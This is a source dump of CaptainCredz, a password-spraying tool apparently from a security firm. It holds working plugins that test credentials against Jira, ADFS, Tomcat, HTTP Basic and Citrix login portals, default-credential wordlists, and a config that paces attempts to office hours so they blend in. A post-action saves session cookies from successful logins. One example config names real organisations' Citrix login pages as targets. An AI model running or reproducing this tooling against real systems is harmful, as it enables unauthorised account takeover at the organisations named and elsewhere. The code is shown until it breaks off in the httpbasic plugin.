├── captaincredz
├── lib
│ ├── __init__.py
│ ├── logger.py
│ ├── requester.py
│ ├── worker.py
│ ├── cache.py
│ ├── pool.py
│ └── engine.py
├── plugins
│ ├── ntlmssp
│ │ ├── requirements.txt
│ │ ├── users.example.txt
│ │ ├── config.example.json
│ │ └── __init__.py
│ ├── citrix
│ │ ├── pwds.txt
│ │ ├── users.txt
│ │ ├── config.example.json
│ │ └── __init__.py
│ ├── httpbasic
│ │ ├── pwds.txt
│ │ ├── users.txt
│ │ ├── config.example.json
│ │ └── __init__.py
│ ├── tomcat
│ │ ├── Dockerfile
│ │ ├── users.txt
│ │ ├── tomcat-users.xml
│ │ ├── pwds.txt
│ │ ├── config.example.json
│ │ └── __init__.py
│ ├── jira
│ │ └── __init__.py
│ ├── test
│ │ └── __init__.py
│ ├── adfs
│ │ └── __init__.py
│ ├── okta
│ │ └── __init__.py
│ ├── o365enum
│ │ └── __init__.py
│ ├── aws
│ │ └── __init__.py
│ ├── keycloak
│ │ └── __init__.py
│ └── msol
│ │ └── __init__.py
├── post_actions
│ ├── example_action
│ │ └── __init__.py
│ └── display_cookies
│ │ └── __init__.py
└── __init__.py
├── requirements.txt
├── optional-requirements.txt
├── tests
├── wordlists
│ ├── passwords.txt
│ ├── userpass.txt
│ └── users.txt
├── README.md
├── app.py
└── app_errors.py
├── captaincredz.py
├── .gitignore
├── ww_config.json
├── config.json
├── setup.py
└── README.md
/captaincredz/lib/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests
--------------------------------------------------------------------------------
/optional-requirements.txt:
--------------------------------------------------------------------------------
1 | rich
--------------------------------------------------------------------------------
/captaincredz/plugins/ntlmssp/requirements.txt:
--------------------------------------------------------------------------------
1 | pyspnego
2 |
--------------------------------------------------------------------------------
/captaincredz/plugins/citrix/pwds.txt:
--------------------------------------------------------------------------------
1 | AAAbbbbdpsodaopdkap6546!
2 |
--------------------------------------------------------------------------------
/captaincredz/plugins/httpbasic/pwds.txt:
--------------------------------------------------------------------------------
1 | admin
2 | test
3 | dpozida
4 |
--------------------------------------------------------------------------------
/captaincredz/plugins/citrix/users.txt:
--------------------------------------------------------------------------------
1 | test
2 | admin
3 | administrateur
4 | root
5 |
--------------------------------------------------------------------------------
/captaincredz/plugins/httpbasic/users.txt:
--------------------------------------------------------------------------------
1 | test
2 | admin
3 | administrateur
4 | root
5 |
--------------------------------------------------------------------------------
/tests/wordlists/passwords.txt:
--------------------------------------------------------------------------------
1 | passFromPassFile
2 | user1!
3 | blahblah
4 | test
5 | Uz3r2@
--------------------------------------------------------------------------------
/captaincredz.py:
--------------------------------------------------------------------------------
1 | from captaincredz import main
2 |
3 | if __name__ == "__main__":
4 | main()
--------------------------------------------------------------------------------
/tests/wordlists/userpass.txt:
--------------------------------------------------------------------------------
1 | user1@corp.local:passFromUserPass
2 | user1@other.local:otherPassword
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | **/__pycache__/
2 | *.db
3 | *.log
4 | .venv/
5 | .idea/
6 | build/
7 | *.egg-info/
8 | lib/
--------------------------------------------------------------------------------
/tests/wordlists/users.txt:
--------------------------------------------------------------------------------
1 | user1@corp.local
2 | user2@corp.local
3 | user3@corp.local
4 | user1@other.local
5 | user2@other.local
6 | plop@corp.local
--------------------------------------------------------------------------------
/captaincredz/plugins/ntlmssp/users.example.txt:
--------------------------------------------------------------------------------
1 | user1@domain.local@workstation1
2 | user2@domain.local@workstation2
3 | user3@domain.local@workstation3
4 |
--------------------------------------------------------------------------------
/tests/README.md:
--------------------------------------------------------------------------------
1 | # Test Web Server
2 |
3 | This python script sets up a server simulating au authentication portal, and works in conjunction with the "test" plugin.
4 |
5 | In order to make the "test" plugin work, you should put the public IP of the server where this script is run in the `plugins/test/__init__.py` file, and then use this plugin.
--------------------------------------------------------------------------------
/captaincredz/plugins/tomcat/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM tomcat:9.0-jre11
2 |
3 | RUN cp -r /usr/local/tomcat/webapps.dist/* /usr/local/tomcat/webapps/
4 |
5 | COPY tomcat-users.xml /usr/local/tomcat/conf/
6 |
7 | RUN sed -i '/RemoteAddrValve/,+1d' /usr/local/tomcat/webapps/manager/META-INF/context.xml
8 |
9 | EXPOSE 8080
10 | CMD ["catalina.sh", "run"]
--------------------------------------------------------------------------------
/captaincredz/post_actions/example_action/__init__.py:
--------------------------------------------------------------------------------
1 | def action(username, password, timestamp, httpresponse, plugin, result, logger, action_params=None):
2 | # TODO implement your own logic here !
3 | # httpresponse is the python requests Response object returned by the plugin. It may be None
4 | logger.info("This is an example action")
5 | return
6 |
--------------------------------------------------------------------------------
/captaincredz/plugins/tomcat/users.txt:
--------------------------------------------------------------------------------
1 | password
2 | adminadmin
3 | admin
4 | tomcat
5 | test
6 | user
7 | root
8 | 123456
9 | admin888
10 | 12345678
11 | admin@123
12 | manager
13 | passw0rd
14 | 123
15 | tomcat
16 | admin
17 | ovwebusr
18 | j2deployer
19 | cxsdk
20 | ADMIN
21 | xampp
22 | QCC
23 | role
24 | tomcat
25 | admin
26 | root
27 | tomcat
28 | root
29 | both
30 | admin
31 | ADMIN
32 | admin
33 | demo
34 | server_admin
35 | admin
36 | both
37 | role1
38 | tomcat
39 | admin
40 | admin
--------------------------------------------------------------------------------
/captaincredz/plugins/tomcat/tomcat-users.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/captaincredz/plugins/tomcat/pwds.txt:
--------------------------------------------------------------------------------
1 | password
2 | adminadmin
3 | admin
4 | tomcat
5 | test
6 | user
7 | root
8 | 123456
9 | admin888
10 | 12345678
11 | admin@123
12 | manager
13 | passw0rd
14 | 123
15 | admin
16 | adminadmin
17 | OvW*busr1
18 | j2deployer
19 | kdsxc
20 | ADMIN
21 | xampp
22 | QLogic66
23 | changethis
24 | changethis
25 | j5Brn9
26 | toor
27 | password1
28 | Password1
29 | tomcat
30 | admanager
31 | ADMIN
32 | adrole1
33 | demo
34 | owaspbwa
35 | owaspbwa
36 |
37 |
38 |
39 | password
40 | 123456
--------------------------------------------------------------------------------
/captaincredz/post_actions/display_cookies/__init__.py:
--------------------------------------------------------------------------------
1 | from json import dumps
2 |
3 | def action(username, password, timestamp, httpresponse, plugin, result, logger, action_params=None):
4 | d = httpresponse.cookies.get_dict()
5 | if len(d) == 0:
6 | logger.info(f"[POST-ACTION][Cookies] - \tNo cookies associated with this response")
7 | else:
8 | safe_username = username
9 | for c in '/.#@':
10 | safe_username = safe_username.replace(c, '_')
11 | filename = f"{safe_username}_{int(timestamp)}.cookies"
12 | with open(filename, "w+") as f:
13 | f.write(dumps(d))
14 | logger.info(f"[POST-ACTION][Cookies] - \tYour cookies have been written to {filename}")
--------------------------------------------------------------------------------
/captaincredz/plugins/ntlmssp/config.example.json:
--------------------------------------------------------------------------------
1 | {
2 | "plugin" : [
3 | {
4 | "name": "ntlmssp",
5 | "args": {
6 | "url": "https://exchange.mysuperclient.local/EWS/",
7 | "protocol": "negotiate"
8 | },
9 | "headers": null,
10 | "proxy": "socks5h://127.0.0.1:1080",
11 | "useragentfile": null
12 | }
13 | ],
14 | "post_success": null,
15 |
16 | "userfile" : "users.txt",
17 | "passwordfile" : "passwordfile.txt",
18 | "userpassfile" : null,
19 |
20 | "jitter" : 0,
21 | "delay_req" : 4,
22 | "delay_user" : 30,
23 | "chunk_size": 50,
24 | "chunk_delay": 8,
25 |
26 | "stop_on_success": false,
27 |
28 | "log_file" : null,
29 | "cache_file": null,
30 |
31 | "verbose" : true
32 | }
33 |
--------------------------------------------------------------------------------
/captaincredz/plugins/tomcat/config.example.json:
--------------------------------------------------------------------------------
1 | {
2 | "plugins": [
3 | {
4 | "name": "tomcat",
5 | "args": {
6 | "url": "http://127.0.0.1:8080/manager/html",
7 | "method": "GET"
8 | },
9 | "headers": null,
10 | "proxy": null,
11 | "useragentfile": null,
12 | "req_timeout": 60
13 | }
14 | ],
15 |
16 | "post_actions": null,
17 |
18 | "userfile": "captaincredz/plugins/tomcat/users.txt",
19 | "passwordfile": "captaincredz/plugins/tomcat/pwds.txt",
20 | "userpassfile": null,
21 |
22 | "jitter": 0,
23 | "delay_req": 4,
24 | "delay_user": 30,
25 | "chunk_size": 50,
26 | "chunk_delay": 8,
27 |
28 | "stop_on_success": false,
29 |
30 | "log_file": null,
31 | "cache_file": null,
32 |
33 | "verbose": true
34 | }
--------------------------------------------------------------------------------
/captaincredz/plugins/httpbasic/config.example.json:
--------------------------------------------------------------------------------
1 | {
2 | "plugin" : [
3 | {
4 | "name": "httpbasic",
5 | "args": {
6 | "url": "http://localhost/basic",
7 | "method": "POST"
8 | },
9 | "headers": null,
10 | "proxy": "http://localhost:8080",
11 | "useragentfile": null,
12 | "req_timeout": 60
13 | }
14 | ],
15 |
16 | "post_actions": null,
17 |
18 | "userfile" : "plugins/httpbasic/users.txt",
19 | "passwordfile" : "plugins/httpbasic/pwds.txt",
20 | "userpassfile" : null,
21 |
22 | "jitter" : 0,
23 | "delay_req" : 4,
24 | "delay_user" : 30,
25 | "chunk_size": 50,
26 | "chunk_delay": 8,
27 |
28 | "stop_on_success": false,
29 |
30 | "log_file" : null,
31 | "cache_file": null,
32 |
33 | "verbose" : true
34 | }
35 |
--------------------------------------------------------------------------------
/ww_config.json:
--------------------------------------------------------------------------------
1 | {
2 | "utc_offset" : 0,
3 | "daily_speedup": 1.25,
4 | "initial_speed": 0.5,
5 | "hours_factor": {
6 | "0": 0.1,
7 | "1": 0.1,
8 | "2": 0.1,
9 | "3": 0.1,
10 | "4": 0.1,
11 | "5": 0.1,
12 | "6": 0.2,
13 | "7": 0.5,
14 | "8": 1,
15 | "9": 1,
16 | "10": 0.8,
17 | "11": 0.4,
18 | "12": 0.6,
19 | "13": 0.8,
20 | "14": 0.5,
21 | "15": 0.5,
22 | "16": 0.5,
23 | "17": 0.5,
24 | "18": 0.6,
25 | "19": 0.3,
26 | "20": 0.2,
27 | "21": 0.1,
28 | "22": 0.1,
29 | "23": 0.1
30 | },
31 | "days_factor": {
32 | "mon": 1,
33 | "tue": 1,
34 | "wed": 1,
35 | "thu": 1,
36 | "fri": 1,
37 | "sat": 0.1,
38 | "sun": 0.1
39 | }
40 | }
--------------------------------------------------------------------------------
/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "plugins" : [
3 | {
4 | "name": "test",
5 | "args": {
6 | "FIXME": "http://FIXME"
7 | },
8 | "headers": null,
9 | "proxy": null,
10 | "useragentfile": null,
11 | "weight": 1,
12 | "req_timeout": 60
13 | }
14 | ],
15 |
16 | "post_actions": {
17 | "display_cookies": {
18 | "trigger":["success"],
19 | "params": {"text": "Example param"}
20 | }
21 | },
22 |
23 | "userfile" : "FIXME",
24 | "passwordfile" : "FIXME",
25 | "userpassfile" : null,
26 |
27 | "jitter" : 0,
28 | "delay_req" : 4,
29 | "delay_user" : 30,
30 | "chunk_size": 50,
31 | "chunk_delay": 8,
32 |
33 | "stop_on_success": false,
34 | "stop_worker_on_success": false,
35 |
36 | "log_file" : null,
37 | "cache_file": null,
38 |
39 | "verbose" : true
40 | }
41 |
--------------------------------------------------------------------------------
/captaincredz/__init__.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | from .lib.engine import Engine
3 | from importlib.util import find_spec
4 |
5 | RICH_INSTALLED = find_spec("rich") is not None
6 | if RICH_INSTALLED:
7 | from rich.progress import Progress
8 |
9 |
10 | def main():
11 | parser = argparse.ArgumentParser()
12 |
13 | parser.add_argument(
14 | "-c",
15 | "--config",
16 | type=str,
17 | default=None,
18 | required=True,
19 | help="Configure CaptainCredz using config file config.json",
20 | )
21 | parser.add_argument(
22 | "-w",
23 | "--weekday_warrior",
24 | type=str,
25 | default=None,
26 | required=False,
27 | help="Weekday Warrior config file. Only active when specified",
28 | )
29 |
30 | args = parser.parse_args()
31 | e = Engine(args)
32 | if RICH_INSTALLED:
33 | from rich.progress import Progress
34 |
35 | with Progress() as pb:
36 | e.start(pb)
37 | else:
38 | e.start()
39 |
40 |
41 | if __name__ == "__main__":
42 | main()
43 |
--------------------------------------------------------------------------------
/captaincredz/plugins/citrix/config.example.json:
--------------------------------------------------------------------------------
1 | {
2 | "plugin" : [
3 | {
4 | "name": "citrix",
5 | "args": {
6 | "url1": "https://login.docutap.com/nf/auth",
7 | "url2": "https://onebridge.tf1.fr/p/u",
8 | "url3": "https://remoteapps.disney.com/nf/auth",
9 | "url4": "https://login.strasbourg.eu/p/u",
10 | "url5": "https://authentification.aphp.fr/nf/auth",
11 | "url6": "https://secureaccess.nike.com/nf/auth",
12 | "url": "https://auth-aug.man-es.com/nf/auth"
13 | },
14 | "headers": null,
15 | "proxy": "http://localhost:8080",
16 | "useragentfile": null,
17 | "req_timeout": 60
18 | }
19 | ],
20 |
21 | "post_actions": null,
22 |
23 | "userfile" : "plugins/citrix/users.txt",
24 | "passwordfile" : "plugins/citrix/pwds.txt",
25 | "userpassfile" : null,
26 |
27 | "jitter" : 0,
28 | "delay_req" : 4,
29 | "delay_user" : 30,
30 | "chunk_size": 50,
31 | "chunk_delay": 8,
32 |
33 | "stop_on_success": true,
34 |
35 | "log_file" : null,
36 | "cache_file": null,
37 |
38 | "verbose" : true
39 | }
40 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | from setuptools import setup, find_packages
2 | import os
3 |
4 | def read_requirements(filename):
5 | base_path = os.path.dirname(__file__)
6 | requirements_path = os.path.join(base_path, filename)
7 |
8 | with open(requirements_path) as f:
9 | return [line.strip() for line in f if line.strip() and not line.startswith("#")]
10 |
11 | def wrap_find_packages():
12 | r = find_packages()
13 | for p in find_packages(where="./captaincredz/plugins"):
14 | r.append(f"captaincredz.plugins.{p}")
15 | for p in find_packages(where="./captaincredz/post_actions"):
16 | r.append(f"captaincredz.post_actions.{p}")
17 | return r
18 |
19 | def find_extras():
20 | d = dict()
21 | d['progressbar'] = read_requirements('optional-requirements.txt')
22 | for p in os.listdir('captaincredz/plugins'):
23 | p_req = os.path.join("captaincredz/plugins", p, "requirements.txt")
24 | if os.path.isfile(p_req):
25 | d[p] = read_requirements(p_req)
26 | for pa in os.listdir('captaincredz/post_actions'):
27 | pa_req = os.path.join("captaincredz/post_actions", pa, "requirements.txt")
28 | if os.path.isfile(pa_req):
29 | d[pa] = read_requirements(pa_req)
30 | return d
31 |
32 | with open("/tmp/a", "w+") as f:
33 | f.write(str(wrap_find_packages()))
34 |
35 | setup(
36 | name='captaincredz',
37 | version='1.0.0',
38 | install_requires=read_requirements('requirements.txt'),
39 | py_modules=['captaincredz'],
40 | packages=wrap_find_packages(),
41 | extras_require=find_extras(),
42 | entry_points={
43 | 'console_scripts': [
44 | 'captaincredz=captaincredz:main',
45 | ],
46 | },
47 | author='Antoine Gicquel',
48 | author_email='antoine.gicquel@synacktiv.com',
49 | description='CaptainCredz is a powerful password spraying utility.',
50 | )
51 |
--------------------------------------------------------------------------------
/tests/app.py:
--------------------------------------------------------------------------------
1 | from http.server import BaseHTTPRequestHandler, HTTPServer
2 | import sys
3 | from urllib.parse import urlparse, parse_qs
4 |
5 |
6 | USERS = [
7 | ("user1@corp.local", "user1!"),
8 | ("user2@corp.local", "Uz3r2@"),
9 | ("user1@other.local", "otherPassword")
10 | ]
11 |
12 | class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
13 | def do_GET(self):
14 | # Set response headers
15 | self.send_response(200)
16 | self.send_header('Content-type', 'text/html')
17 | self.end_headers()
18 |
19 | # Check the path and respond accordingly
20 | if self.path == '/check':
21 | self.wfile.write(b'Endpoint /check reached!')
22 | elif self.path.startswith('/login'):
23 | # Parse the URL parameters
24 | params = parse_qs(urlparse(self.path).query)
25 |
26 | # Check if both 'username' and 'password' parameters are present
27 | if 'username' in params and 'password' in params:
28 | username = params['username'][0]
29 | password = params['password'][0]
30 | if (username, password) in USERS:
31 | response = f'Greetings, {username}!'
32 | elif not username in [x[0] for x in USERS]:
33 | response = f'Password is invalid'
34 | else:
35 | response = 'Nope'
36 | self.wfile.write(response.encode('utf-8'))
37 | else:
38 | self.wfile.write(b'Missing username or password parameters!')
39 | else:
40 | self.wfile.write(b'Hello, this is a simple server!')
41 |
42 | if __name__ == '__main__':
43 | port = 28514
44 | try:
45 | if len(sys.argv) == 2:
46 | port = int(sys.argv[1])
47 | assert port > 1024 and port < 65535
48 | except:
49 | pass
50 | # Specify the server address and port
51 | server_address = ('0.0.0.0', port)
52 |
53 | # Create an HTTP server with the specified handler
54 | httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)
55 |
56 | print(f'Server is running on http://0.0.0.0:{port}')
57 |
58 | # Start the server
59 | httpd.serve_forever()
60 |
--------------------------------------------------------------------------------
/captaincredz/plugins/jira/__init__.py:
--------------------------------------------------------------------------------
1 | class Plugin:
2 | def __init__(self, requester, pluginargs):
3 | self.requester = requester
4 | self.pluginargs = pluginargs
5 | if self.pluginargs is None:
6 | self.pluginargs = dict()
7 |
8 | def validate(self):
9 | #
10 | # Plugin Args
11 | #
12 | # "url": "https://jira.domain.com" -> Jira target
13 | #
14 | err = None
15 | if not "url" in self.pluginargs.keys():
16 | err = "Jira plugin needs 'url' argument. Please add it to the configuration, specifying the URL to the Jira instance (without /login.jsp)."
17 | return "url" in self.pluginargs.keys(), err
18 |
19 | def testconnect(self, useragent):
20 | resp = self.requester.get(self.pluginargs["url"], headers={'User-Agent': useragent})
21 |
22 | return resp.status_code == 200
23 |
24 | def test_authenticate(self, username, password, useragent):
25 | data_response = {
26 | 'result' : None, # Can be "success", "failure", "potential" or "inexistant"
27 | 'error' : False,
28 | 'output' : "",
29 | 'request': None
30 | }
31 |
32 | post_data = {
33 | 'os_username' : username,
34 | 'os_password' : password,
35 | 'os_cookie' : 1
36 | }
37 |
38 |
39 | headers = {
40 | 'User-Agent': useragent,
41 | 'Content-Type' : 'application/x-www-form-urlencoded',
42 | 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8'
43 | }
44 |
45 | try:
46 |
47 | resp = self.requester.post(f"{self.pluginargs['url']}/login.jsp", headers=headers, data=post_data, allow_redirects=False)
48 | data_response['request'] = resp
49 | if resp.status_code == 302:
50 | data_response['result'] = "success"
51 | data_response['output'] = f"[+] SUCCESS: => {username}:{password}"
52 |
53 | else: # fail
54 | data_response['result'] = "failure"
55 | data_response['output'] = f"[-] FAILURE: {resp.status_code} => {username}:{password}"
56 |
57 | except Exception as ex:
58 | data_response['error'] = True
59 | data_response['output'] = str(ex.__repr__())
60 | pass
61 |
62 | return data_response
63 |
--------------------------------------------------------------------------------
/captaincredz/lib/logger.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import datetime
3 | from .cache import Cache
4 | from importlib.util import find_spec
5 |
6 | RICH_INSTALLED = False
7 | if find_spec("rich"):
8 | RICH_INSTALLED = True
9 | from rich.logging import RichHandler
10 |
11 |
12 | class Logger:
13 | def __init__(self, logfile, verbose=False):
14 | # Logging things with proper libraries
15 | self.logfile = logfile
16 | if self.logfile is None:
17 | self.logfile = "captaincredz.log"
18 |
19 | self.console_logger = logging.getLogger(__name__)
20 | self.file_logger = logging.getLogger("success")
21 |
22 | self.console_logger.setLevel(logging.DEBUG)
23 | self.console_stdout_handler = logging.StreamHandler()
24 | if RICH_INSTALLED:
25 | self.console_stdout_handler = RichHandler()
26 | if verbose:
27 | self.console_stdout_handler.setLevel(logging.DEBUG)
28 | else:
29 | self.console_stdout_handler.setLevel(logging.INFO)
30 | self.console_stdout_handler.setFormatter(
31 | logging.Formatter("%(levelname)s - %(message)s")
32 | )
33 | self.console_logger.addHandler(self.console_stdout_handler)
34 |
35 | self.file_logger.setLevel(logging.DEBUG)
36 | self.file_handler = logging.FileHandler(logfile)
37 | self.file_handler.setLevel(logging.INFO)
38 | self.file_handler.setFormatter(logging.Formatter("%(message)s"))
39 | self.file_logger.addHandler(self.file_handler)
40 |
41 | def error(self, message):
42 | self.console_logger.error(message)
43 |
44 | def debug(self, message):
45 | self.console_logger.debug(message)
46 |
47 | def info(self, message):
48 | self.console_logger.info(message)
49 |
50 | def log_tentative(self, username, password, ts, result, out, plugin):
51 | result_str = "bug"
52 | if result is not None:
53 | if type(result) == int:
54 | result_str = Cache.TRANSLATE_INV[result]
55 | elif type(result) == str:
56 | result_str = result
57 | result_left = result_str.ljust(15)
58 | plugin_left = plugin.ljust(15)
59 | date = datetime.datetime.isoformat(
60 | datetime.datetime.fromtimestamp(ts).replace(microsecond=0)
61 | )
62 | log_str = (
63 | f"{date} - {plugin_left} - {result_left} ({username}:{password}) / {out}"
64 | )
65 | self.console_logger.info(log_str)
66 | self.file_logger.info(log_str)
67 |
--------------------------------------------------------------------------------
/tests/app_errors.py:
--------------------------------------------------------------------------------
1 | from http.server import BaseHTTPRequestHandler, HTTPServer
2 | import sys
3 | from urllib.parse import urlparse, parse_qs
4 | import random
5 | import time
6 |
7 | USERS = [
8 | ("user1@corp.local", "user1!"),
9 | ("user2@corp.local", "Uz3r2@"),
10 | ("user1@other.local", "otherPassword")
11 | ]
12 |
13 | class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
14 | def do_GET(self):
15 | print(self.headers)
16 | time.sleep(random.randint(2, 8))
17 | if self.path != "/check" and random.random() < 0.3:
18 | print("Erroring")
19 | self.send_response(500)
20 | self.end_headers()
21 | return
22 |
23 | # Set response headers
24 | self.send_response(200)
25 | self.send_header('Content-type', 'text/html')
26 | self.end_headers()
27 |
28 | # Check the path and respond accordingly
29 | if self.path == '/check':
30 | self.wfile.write(b'Endpoint /check reached!')
31 | elif self.path.startswith('/login'):
32 | # Parse the URL parameters
33 | params = parse_qs(urlparse(self.path).query)
34 |
35 | # Check if both 'username' and 'password' parameters are present
36 | if 'username' in params and 'password' in params:
37 | username = params['username'][0]
38 | password = params['password'][0]
39 | if (username, password) in USERS:
40 | response = f'Greetings, {username}!'
41 | elif not username in [x[0] for x in USERS]:
42 | response = f'Password is invalid'
43 | else:
44 | response = 'Nope'
45 | self.wfile.write(response.encode('utf-8'))
46 | else:
47 | self.wfile.write(b'Missing username or password parameters!')
48 | else:
49 | self.wfile.write(b'Hello, this is a simple server!')
50 |
51 | if __name__ == '__main__':
52 | port = 28514
53 | try:
54 | if len(sys.argv) == 2:
55 | port = int(sys.argv[1])
56 | assert port > 1024 and port < 65535
57 | except:
58 | pass
59 | # Specify the server address and port
60 | server_address = ('0.0.0.0', port)
61 |
62 | # Create an HTTP server with the specified handler
63 | httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)
64 |
65 | print(f'Server is running on http://0.0.0.0:{port}')
66 |
67 | # Start the server
68 | httpd.serve_forever()
--------------------------------------------------------------------------------
/captaincredz/plugins/test/__init__.py:
--------------------------------------------------------------------------------
1 | class Plugin:
2 | def __init__(self, requester, pluginargs):
3 | self.requester = requester
4 | self.pluginargs = pluginargs
5 |
6 | def validate(self):
7 | """
8 | This functions verifies if the plugin args are correctly defined
9 | """
10 | err = ""
11 | if not "url" in self.pluginargs:
12 | err = "You should include a 'url' plugin parameter"
13 | return "url" in self.pluginargs, err
14 |
15 | def testconnect(self, useragent):
16 | """
17 | This functions verifies if everything is running smoothly network-wise
18 | """
19 | # return True
20 | r = self.requester.get(self.pluginargs["url"] + "/check", headers={"User-Agent": useragent})
21 | return r.status_code == 200
22 |
23 | def test_authenticate(self, username, password, useragent):
24 | """
25 | This functions authenticates and returns data_response
26 | """
27 | data_response = {
28 | "result": None, # either "success", "inexistant", "potential" or "failure"
29 | "error": False, # if there's an error (to indicate that a retry is needed)
30 | "output": "Blah", # return message
31 | "request": None # represents the request, useful for example to print the cookies obtained
32 | }
33 | # data_response["result"] = "success"
34 | # return data_response
35 | try:
36 | resp = self.requester.get(f"{self.pluginargs['url']}/login", params={"username": username, "password": password, "pluginId": 1}, headers={"User-Agent": useragent})
37 | data_response['request'] = resp
38 | if resp.status_code == 200 and "Greeting" in resp.text:
39 | data_response['result'] = "success"
40 | data_response['output'] = f"[+] SUCCESS: {username}:{password}"
41 | elif resp.status_code == 200 and "is invalid" in resp.text:
42 | data_response['result'] = "inexistant"
43 | data_response['output'] = f"[-] User {username} does not exist"
44 | elif resp.status_code != 200:
45 | data_response['error'] = True
46 | data_response['output'] = "The server did not respond"
47 | else:
48 | data_response['result'] = "failure"
49 | data_response['output'] = f"[-] FAIL: {username}:{password}"
50 |
51 | except Exception as ex:
52 | data_response['error'] = True
53 | data_response['output'] = str(ex.__repr__())
54 |
55 | return data_response
56 |
--------------------------------------------------------------------------------
/captaincredz/plugins/adfs/__init__.py:
--------------------------------------------------------------------------------
1 | class Plugin:
2 | def __init__(self, requester, pluginargs):
3 | self.requester = requester
4 | self.pluginargs = pluginargs
5 | if self.pluginargs is None:
6 | self.pluginargs = dict()
7 |
8 | def validate(self):
9 | #
10 | # Plugin Args
11 | #
12 | # --url https://adfs.domain.com -> ADFS target
13 | #
14 | err = None
15 | if not "url" in self.pluginargs.keys():
16 | err = "ADFS plugin needs 'url' argument. Please add it to the configuration, specifying the URL to the ADFS instance (without /adfs/ls)."
17 | return "url" in self.pluginargs.keys(), err
18 |
19 | def testconnect(self, useragent):
20 | resp = self.requester.get(self.pluginargs["url"], headers={'User-Agent': useragent})
21 |
22 | return resp.status_code != 504
23 |
24 | def test_authenticate(self, username, password, useragent):
25 | data_response = {
26 | 'result' : None, # Can be "success", "failure", "potential" or "inexistant"
27 | 'error' : False,
28 | 'output' : "",
29 | 'request': None
30 | }
31 |
32 | post_data = {
33 | 'UserName' : username,
34 | 'Password' : password,
35 | 'AuthMethod' : 'FormsAuthentication'
36 | }
37 |
38 | # ?client-request-id=&wa=wsignin1.0&wtrealm=urn:federation:MicrosoftOnline&wctx=cbcxt=&username={}&mkt=&lc=
39 | params_data = {
40 | 'client-request-id' : '',
41 | 'wa' : 'wsignin1.0',
42 | 'wtrealm' : 'urn:federation:MicrosoftOnline',
43 | 'wctx' : '',
44 | 'cbcxt' : '',
45 | 'username' : username,
46 | 'mkt' : '',
47 | 'lc' : '',
48 | 'pullStatus' : 0
49 | }
50 |
51 | headers = {
52 | 'User-Agent': useragent,
53 | 'Content-Type' : 'application/x-www-form-urlencoded',
54 | 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8'
55 | }
56 |
57 | try:
58 |
59 | resp = self.requester.post(f"{self.pluginargs['url']}/adfs/ls/", headers=headers, params=params_data, data=post_data, allow_redirects=False)
60 | data_response['request'] = resp
61 | if resp.status_code == 302:
62 | data_response['result'] = "success"
63 | data_response['output'] = f"[+] SUCCESS: => {username}:{password}"
64 |
65 | else: # fail
66 | data_response['result'] = "failure"
67 | data_response['output'] = f"[-] FAILURE: {resp.status_code} => {username}:{password}"
68 |
69 | except Exception as ex:
70 | data_response['error'] = True
71 | data_response['output'] = str(ex.__repr__())
72 | pass
73 |
74 | return data_response
75 |
--------------------------------------------------------------------------------
/captaincredz/plugins/tomcat/__init__.py:
--------------------------------------------------------------------------------
1 | import base64
2 |
3 | class Plugin:
4 | def __init__(self, requester, pluginargs):
5 | self.requester = requester
6 | self.pluginargs = pluginargs
7 |
8 | def validate(self):
9 | """
10 | This functions verifies if the plugin args are correctly defined
11 | """
12 |
13 | if "url" not in self.pluginargs:
14 | return False, "You must provide an URL with an running Apache Tomcat instance"
15 | else:
16 | if self.pluginargs.get("method") == None:
17 | method = "GET"
18 | else:
19 | method = self.pluginargs["method"]
20 | self.pluginargs["method"] = method # Save the method
21 |
22 | if method not in ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"]:
23 | return False, f"Unknown HTTP method '{method}' provided"
24 | else:
25 | return True, None
26 |
27 | def testconnect(self, useragent):
28 | """
29 | This functions verifies if everything is good network-wise
30 | """
31 |
32 | method = self.pluginargs["method"]
33 | r = self.requester.request(method, self.pluginargs["url"], headers = {"User-Agent": useragent})
34 | is_401 = r.status_code == 401
35 | supports_authentication = "Basic" in r.headers.get("WWW-Authenticate")
36 |
37 | return is_401 and supports_authentication
38 |
39 | def test_authenticate(self, username, password, useragent):
40 | """
41 | This functions authenticates
42 | """
43 |
44 | data_response = {
45 | "result": None, # either "success", "inexistant", "potential" or "failure"
46 | "error": False, # if there's an error (to indicate that a retry is needed)
47 | "output": None, # return message
48 | "request": None # represents the request, useful for example to print the cookies obtained
49 | }
50 |
51 | try:
52 |
53 | method = self.pluginargs["method"]
54 | authorization = base64.b64encode(username.encode() + b':' + password.encode()).decode()
55 | r = self.requester.request(method, self.pluginargs["url"], headers = {"User-Agent": useragent, "Authorization": f"Basic {authorization}"}, allow_redirects = False)
56 | data_response['request'] = r
57 |
58 | if r.status_code == 401: # Wrong credentials
59 |
60 | data_response['result'] = 'failure'
61 | data_response['output'] = 'Invalid credentials'
62 |
63 | else: # Consider other error codes as valid credentials
64 |
65 | data_response['result'] = 'success'
66 | data_response['output'] = f"Valid credentials found with returned status code {r.status_code}"
67 |
68 | except Exception as ex:
69 |
70 | data_response['error'] = True
71 | data_response['output'] = str(ex.__repr__())
72 |
73 | return data_response
74 |
--------------------------------------------------------------------------------
/captaincredz/plugins/httpbasic/__init__.py:
--------------------------------------------------------------------------------
1 | import base64
2 |
3 | class Plugin:
4 | def __init__(self, requester, pluginargs):
5 | self.requester = requester
6 | self.pluginargs = pluginargs
7 |
8 | def validate(self):
9 | """
10 | This functions verifies if the plugin args are correctly defined
11 | """
12 |
13 | if "url" not in self.pluginargs:
14 | return False, "You must provide an URL protected with HTTP Basic authentication"
15 | else:
